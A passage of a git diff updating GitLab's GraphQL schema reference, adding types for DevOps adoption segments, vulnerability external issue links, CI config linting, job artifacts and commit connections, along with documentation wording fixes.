+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The compliance framework after mutation
+ """
+ complianceFramework: ComplianceFramework
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
Autogenerated input type of UpdateContainerExpirationPolicy
"""
input UpdateContainerExpirationPolicyInput {
@@ -22167,6 +23600,51 @@ type UpdateContainerExpirationPolicyPayload {
errors: [String!]!
}
+"""
+Autogenerated input type of UpdateDevopsAdoptionSegment
+"""
+input UpdateDevopsAdoptionSegmentInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The array of group IDs to set for the segment
+ """
+ groupIds: [GroupID!]
+
+ """
+ ID of the segment
+ """
+ id: AnalyticsDevopsAdoptionSegmentID!
+
+ """
+ Name of the segment
+ """
+ name: String!
+}
+
+"""
+Autogenerated return type of UpdateDevopsAdoptionSegment
+"""
+type UpdateDevopsAdoptionSegmentPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The segment after mutation
+ """
+ segment: DevopsAdoptionSegment
+}
+
input UpdateDiffImagePositionInput {
"""
Total height of the image
@@ -22229,7 +23707,7 @@ input UpdateEpicInput {
groupPath: ID!
"""
- The iid of the epic to mutate
+ The IID of the epic to mutate
"""
iid: ID!
@@ -22294,7 +23772,7 @@ input UpdateImageDiffNoteInput {
clientMutationId: String
"""
- The global id of the note to update
+ The global ID of the note to update
"""
id: NoteID!
@@ -22434,32 +23912,32 @@ input UpdateIterationInput {
clientMutationId: String
"""
- The description of the iteration
+ Description of the iteration.
"""
description: String
"""
- The end date of the iteration
+ End date of the iteration.
"""
dueDate: String
"""
- The group of the iteration
+ Group of the iteration.
"""
groupPath: ID!
"""
- The id of the iteration
+ Global ID of the iteration.
"""
id: ID!
"""
- The start date of the iteration
+ Start date of the iteration.
"""
startDate: String
"""
- The title of the iteration
+ Title of the iteration.
"""
title: String
}
@@ -22479,7 +23957,7 @@ type UpdateIterationPayload {
errors: [String!]!
"""
- The updated iteration
+ Updated iteration.
"""
iteration: Iteration
}
@@ -22504,7 +23982,7 @@ input UpdateNoteInput {
confidential: Boolean
"""
- The global id of the note to update
+ The global ID of the note to update
"""
id: NoteID!
}
@@ -22544,7 +24022,7 @@ input UpdateRequirementInput {
description: String
"""
- The iid of the requirement to update
+ The IID of the requirement to update
"""
iid: String!
@@ -22609,7 +24087,7 @@ input UpdateSnippetInput {
description: String
"""
- The global id of the snippet to update
+ The global ID of the snippet to update
"""
id: SnippetID!
@@ -22717,6 +24195,11 @@ type User {
projectPath: String
"""
+ Username of the reviewer
+ """
+ reviewerUsername: String
+
+ """
Sort merge requests by this criteria
"""
sort: MergeRequestSort = created_desc
@@ -22802,6 +24285,11 @@ type User {
projectPath: String
"""
+ Username of the reviewer
+ """
+ reviewerUsername: String
+
+ """
Sort merge requests by this criteria
"""
sort: MergeRequestSort = created_desc
@@ -22828,12 +24316,12 @@ type User {
avatarUrl: String
"""
- User email
+ User email Deprecated in 13.7: Use public_email.
"""
- email: String
+ email: String @deprecated(reason: "Use public_email. Deprecated in 13.7.")
"""
- Group count for the user. Available only when feature flag `user_group_counts` is enabled
+ Group count for the user Available only when feature flag `user_group_counts` is enabled.
"""
groupCount: Int
@@ -22868,6 +24356,11 @@ type User {
id: ID!
"""
+ The location of the user.
+ """
+ location: String
+
+ """
Human-readable name of the user
"""
name: String!
@@ -22898,6 +24391,101 @@ type User {
): ProjectMemberConnection
"""
+ User's public email
+ """
+ publicEmail: String
+
+ """
+ Merge Requests assigned to the user for review
+ """
+ reviewRequestedMergeRequests(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Username of the assignee
+ """
+ assigneeUsername: String
+
+ """
+ Username of the author
+ """
+ authorUsername: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Array of IIDs of merge requests, for example `[1, 2]`
+ """
+ iids: [String!]
+
+ """
+ Array of label names. All resolved merge requests will have all of these labels.
+ """
+ labels: [String!]
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ Merge requests merged after this date
+ """
+ mergedAfter: Time
+
+ """
+ Merge requests merged before this date
+ """
+ mergedBefore: Time
+
+ """
+ Title of the milestone
+ """
+ milestoneTitle: String
+
+ """
+ The global ID of the project the authored merge requests should be in. Incompatible with projectPath.
+ """
+ projectId: ProjectID
+
+ """
+ The full-path of the project the authored merge requests should be in. Incompatible with projectId.
+ """
+ projectPath: String
+
+ """
+ Sort merge requests by this criteria
+ """
+ sort: MergeRequestSort = created_desc
+
+ """
+ Array of source branch names. All resolved merge requests will have one of these branches as their source.
+ """
+ sourceBranches: [String!]
+
+ """
+ A merge request state. If provided, all resolved merge requests will have this state.
+ """
+ state: MergeRequestState
+
+ """
+ Array of target branch names. All resolved merge requests will have one of these branches as their target.
+ """
+ targetBranches: [String!]
+ ): MergeRequestConnection
+
+ """
Snippets authored by the user
"""
snippets(
@@ -23290,10 +24878,20 @@ type VulnerabilitiesCountByDayEdge {
}
"""
+Identifier of Vulnerabilities::ExternalIssueLink
+"""
+scalar VulnerabilitiesExternalIssueLinkID
+
+"""
Represents a vulnerability
"""
type Vulnerability implements Noteable {
"""
+ Timestamp of when the vulnerability state was changed to confirmed
+ """
+ confirmedAt: Time
+
+ """
Description of the vulnerability
"""
description: String
@@ -23329,6 +24927,41 @@ type Vulnerability implements Noteable {
): DiscussionConnection!
"""
+ Timestamp of when the vulnerability state was changed to dismissed
+ """
+ dismissedAt: Time
+
+ """
+ List of external issue links related to the vulnerability
+ """
+ externalIssueLinks(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): VulnerabilityExternalIssueLinkConnection!
+
+ """
+ Indicates whether there is a solution available for this vulnerability.
+ """
+ hasSolutions: Boolean
+
+ """
GraphQL ID of the vulnerability
"""
id: ID!
@@ -23374,6 +25007,11 @@ type Vulnerability implements Noteable {
location: VulnerabilityLocation
"""
+ Merge request that fixes the vulnerability.
+ """
+ mergeRequest: MergeRequest
+
+ """
All notes on this noteable
"""
notes(
@@ -23416,6 +25054,11 @@ type Vulnerability implements Noteable {
reportType: VulnerabilityReportType
"""
+ Timestamp of when the vulnerability state was changed to resolved
+ """
+ resolvedAt: Time
+
+ """
Indicates whether the vulnerability is fixed on the default branch or not
"""
resolvedOnDefaultBranch: Boolean!
@@ -23567,6 +25210,156 @@ type VulnerabilityEdge {
}
"""
+Represents an external issue link of a vulnerability
+"""
+type VulnerabilityExternalIssueLink {
+ """
+ The external issue attached to the issue link
+ """
+ externalIssue: ExternalIssue
+
+ """
+ GraphQL ID of the external issue link
+ """
+ id: VulnerabilitiesExternalIssueLinkID!
+
+ """
+ Type of the external issue link
+ """
+ linkType: VulnerabilityExternalIssueLinkType!
+}
+
+"""
+The connection type for VulnerabilityExternalIssueLink.
+"""
+type VulnerabilityExternalIssueLinkConnection {
+ """
+ A list of edges.
+ """
+ edges: [VulnerabilityExternalIssueLinkEdge]
+
+ """
+ A list of nodes.
+ """
+ nodes: [VulnerabilityExternalIssueLink]
+
+ """
+ Information to aid in pagination.
+ """
+ pageInfo: PageInfo!
+}
+
+"""
+Autogenerated input type of VulnerabilityExternalIssueLinkCreate
+"""
+input VulnerabilityExternalIssueLinkCreateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ External tracker type of the external issue link.
+ """
+ externalTracker: VulnerabilityExternalIssueLinkExternalTracker!
+
+ """
+ ID of the vulnerability.
+ """
+ id: VulnerabilityID!
+
+ """
+ Type of the external issue link.
+ """
+ linkType: VulnerabilityExternalIssueLinkType!
+}
+
+"""
+Autogenerated return type of VulnerabilityExternalIssueLinkCreate
+"""
+type VulnerabilityExternalIssueLinkCreatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The created external issue link.
+ """
+ externalIssueLink: VulnerabilityExternalIssueLink
+}
+
+"""
+Autogenerated input type of VulnerabilityExternalIssueLinkDestroy
+"""
+input VulnerabilityExternalIssueLinkDestroyInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The global ID of the vulnerability external issue link.
+ """
+ id: VulnerabilitiesExternalIssueLinkID!
+}
+
+"""
+Autogenerated return type of VulnerabilityExternalIssueLinkDestroy
+"""
+type VulnerabilityExternalIssueLinkDestroyPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+}
+
+"""
+An edge in a connection.
+"""
+type VulnerabilityExternalIssueLinkEdge {
+ """
+ A cursor for use in pagination.
+ """
+ cursor: String!
+
+ """
+ The item at the end of the edge.
+ """
+ node: VulnerabilityExternalIssueLink
+}
+
+"""
+The external tracker of the external issue link related to a vulnerability
+"""
+enum VulnerabilityExternalIssueLinkExternalTracker {
+ """
+ Jira external tracker
+ """
+ JIRA
+}
+
+"""
+The type of the external issue link related to a vulnerability
+"""
+enum VulnerabilityExternalIssueLinkType {
+ """
+ Created link type
+ """
+ CREATED
+}
+
+"""
The grade of the vulnerable project
"""
enum VulnerabilityGrade {
@@ -23835,6 +25628,11 @@ type VulnerabilityPermissions {
adminVulnerability: Boolean!
"""
+ Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource
+ """
+ adminVulnerabilityExternalIssueLink: Boolean!
+
+ """
Indicates the user can perform `admin_vulnerability_issue_link` on this resource
"""
adminVulnerabilityIssueLink: Boolean!
diff --git a/doc/api/graphql/reference/gitlab_schema.json b/doc/api/graphql/reference/gitlab_schema.json
index de3f9c2665f..4adb92d351e 100644
--- a/doc/api/graphql/reference/gitlab_schema.json
+++ b/doc/api/graphql/reference/gitlab_schema.json
@@ -105,7 +105,7 @@
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -1252,25 +1252,25 @@
"name": "updated_desc",
"description": "Updated at descending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5."
},
{
"name": "updated_asc",
"description": "Updated at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5."
},
{
"name": "created_desc",
"description": "Created at descending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5."
},
{
"name": "created_asc",
"description": "Created at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5."
},
{
"name": "UPDATED_DESC",
@@ -1481,6 +1481,29 @@
"possibleTypes": null
},
{
+ "kind": "ENUM",
+ "name": "AlertManagementDomainFilter",
+ "description": "Filters the alerts based on given domain",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "operations",
+ "description": "Alerts for operations domain ",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "threat_monitoring",
+ "description": "Alerts for threat monitoring domain",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "AlertManagementHttpIntegration",
"description": "An endpoint and credentials used to accept alerts for a project",
@@ -2103,7 +2126,7 @@
},
{
"name": "iid",
- "description": "The iid of the alert to mutate",
+ "description": "The IID of the alert to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -2279,7 +2302,7 @@
},
{
"name": "iid",
- "description": "The iid of the alert to mutate",
+ "description": "The IID of the alert to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -2402,6 +2425,16 @@
"possibleTypes": null
},
{
+ "kind": "SCALAR",
+ "name": "AnalyticsDevopsAdoptionSegmentID",
+ "description": "Identifier of Analytics::DevopsAdoption::Segment",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "ENUM",
"name": "AvailabilityEnum",
"description": "User availability status",
@@ -2553,7 +2586,7 @@
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -2669,7 +2702,7 @@
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -2785,7 +2818,7 @@
"inputFields": [
{
"name": "awardableId",
- "description": "The global id of the awardable resource",
+ "description": "The global ID of the awardable resource",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -3295,7 +3328,7 @@
"fields": [
{
"name": "assignee",
- "description": "The board assignee.",
+ "description": "The board assignee",
"args": [
],
@@ -3309,7 +3342,7 @@
},
{
"name": "epics",
- "description": "Epics associated with board issues.",
+ "description": "Epics associated with board issues",
"args": [
{
"name": "issueFilters",
@@ -3372,7 +3405,7 @@
},
{
"name": "hideBacklogList",
- "description": "Whether or not backlog list is hidden.",
+ "description": "Whether or not backlog list is hidden",
"args": [
],
@@ -3386,7 +3419,7 @@
},
{
"name": "hideClosedList",
- "description": "Whether or not closed list is hidden.",
+ "description": "Whether or not closed list is hidden",
"args": [
],
@@ -3417,6 +3450,20 @@
"deprecationReason": null
},
{
+ "name": "iteration",
+ "description": "The board iteration.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Iteration",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "labels",
"description": "Labels of the board",
"args": [
@@ -3544,7 +3591,7 @@
},
{
"name": "milestone",
- "description": "The board milestone.",
+ "description": "The board milestone",
"args": [
],
@@ -3572,7 +3619,7 @@
},
{
"name": "weight",
- "description": "Weight of the board.",
+ "description": "Weight of the board",
"args": [
],
@@ -3733,7 +3780,7 @@
"args": [
{
"name": "startDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -3743,7 +3790,7 @@
},
{
"name": "endDate",
- "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end",
+ "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.",
"type": {
"kind": "SCALAR",
"name": "Time",
@@ -3859,7 +3906,7 @@
},
{
"name": "iidStartsWith",
- "description": "Filter epics by iid for autocomplete",
+ "description": "Filter epics by IID for autocomplete",
"type": {
"kind": "SCALAR",
"name": "String",
@@ -5564,6 +5611,16 @@
"defaultValue": null
},
{
+ "name": "iterationId",
+ "description": "Global ID of an existing iteration",
+ "type": {
+ "kind": "SCALAR",
+ "name": "IterationID",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
"name": "assigneeId",
"description": "Global ID of an existing user",
"type": {
@@ -5834,6 +5891,16 @@
},
{
"kind": "SCALAR",
+ "name": "BoardsEpicBoardID",
+ "description": "Identifier of Boards::EpicBoard",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "SCALAR",
"name": "Boolean",
"description": "Represents `true` or `false` values.",
"fields": null,
@@ -5992,6 +6059,330 @@
},
{
"kind": "OBJECT",
+ "name": "CiConfig",
+ "description": null,
+ "fields": [
+ {
+ "name": "errors",
+ "description": "Linting errors",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "mergedYaml",
+ "description": "Merged CI config YAML",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "stages",
+ "description": "Stages of the pipeline",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiConfigStage",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "status",
+ "description": "Status of linting, can be either valid or invalid",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "CiConfigStatus",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiConfigGroup",
+ "description": null,
+ "fields": [
+ {
+ "name": "jobs",
+ "description": "Jobs in group",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiConfigJob",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the job group",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "size",
+ "description": "Size of the job group",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiConfigJob",
+ "description": null,
+ "fields": [
+ {
+ "name": "groupName",
+ "description": "Name of the job group",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the job",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "needs",
+ "description": "Builds that must complete before the jobs run",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiConfigNeed",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "stage",
+ "description": "Name of the job stage",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiConfigNeed",
+ "description": null,
+ "fields": [
+ {
+ "name": "name",
+ "description": "Name of the need",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiConfigStage",
+ "description": null,
+ "fields": [
+ {
+ "name": "groups",
+ "description": "Groups of jobs for the stage",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiConfigGroup",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "name",
+ "description": "Name of the stage",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "ENUM",
+ "name": "CiConfigStatus",
+ "description": "Values for YAML processor result",
+ "fields": null,
+ "inputFields": null,
+ "interfaces": null,
+ "enumValues": [
+ {
+ "name": "VALID",
+ "description": "The configuration file is valid",
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "INVALID",
+ "description": "The configuration file is not valid",
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "CiGroup",
"description": null,
"fields": [
@@ -6216,6 +6607,59 @@
"description": null,
"fields": [
{
+ "name": "artifacts",
+ "description": "Artifacts generated by the job",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CiJobArtifactConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "detailedStatus",
"description": "Detailed status of the job",
"args": [
@@ -6303,11 +6747,160 @@
],
"type": {
+ "kind": "OBJECT",
+ "name": "Pipeline",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "scheduledAt",
+ "description": "Schedule for the build",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Time",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiJobArtifact",
+ "description": null,
+ "fields": [
+ {
+ "name": "downloadPath",
+ "description": "URL for downloading the artifact's file",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "fileType",
+ "description": "File type of the artifact",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "ENUM",
+ "name": "JobArtifactFileType",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiJobArtifactConnection",
+ "description": "The connection type for CiJobArtifact.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiJobArtifactEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CiJobArtifact",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
- "name": "Pipeline",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "CiJobArtifactEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
"ofType": null
}
},
@@ -6315,14 +6908,14 @@
"deprecationReason": null
},
{
- "name": "scheduledAt",
- "description": "Schedule for the build",
+ "name": "node",
+ "description": "The item at the end of the edge.",
"args": [
],
"type": {
- "kind": "SCALAR",
- "name": "Time",
+ "kind": "OBJECT",
+ "name": "CiJobArtifact",
"ofType": null
},
"isDeprecated": false,
@@ -6897,7 +7490,7 @@
"inputFields": [
{
"name": "id",
- "description": "Global id of the cluster agent that will be deleted",
+ "description": "Global ID of the cluster agent that will be deleted",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -7908,6 +8501,24 @@
"deprecationReason": null
},
{
+ "name": "shortId",
+ "description": "Short SHA1 ID of the commit",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "signatureHtml",
"description": "Rendered HTML of the commit signature",
"args": [
@@ -8124,6 +8735,73 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "CommitConnection",
+ "description": "The connection type for Commit.",
+ "fields": [
+ {
+ "name": "edges",
+ "description": "A list of edges.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "CommitEdge",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "nodes",
+ "description": "A list of nodes.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "Commit",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pageInfo",
+ "description": "Information to aid in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "OBJECT",
+ "name": "PageInfo",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "INPUT_OBJECT",
"name": "CommitCreateInput",
"description": "Autogenerated input type of CommitCreate",
@@ -8286,6 +8964,51 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "CommitEdge",
+ "description": "An edge in a connection.",
+ "fields": [
+ {
+ "name": "cursor",
+ "description": "A cursor for use in pagination.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "node",
+ "description": "The item at the end of the edge.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "Commit",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "ENUM",
"name": "CommitEncoding",
"description": null,
@@ -8314,6 +9037,60 @@
"description": "Represents a ComplianceFramework associated with a Project",
"fields": [
{
+ "name": "color",
+ "description": "Hexadecimal representation of compliance framework's label color",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "description",
+ "description": "Description of the compliance framework",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
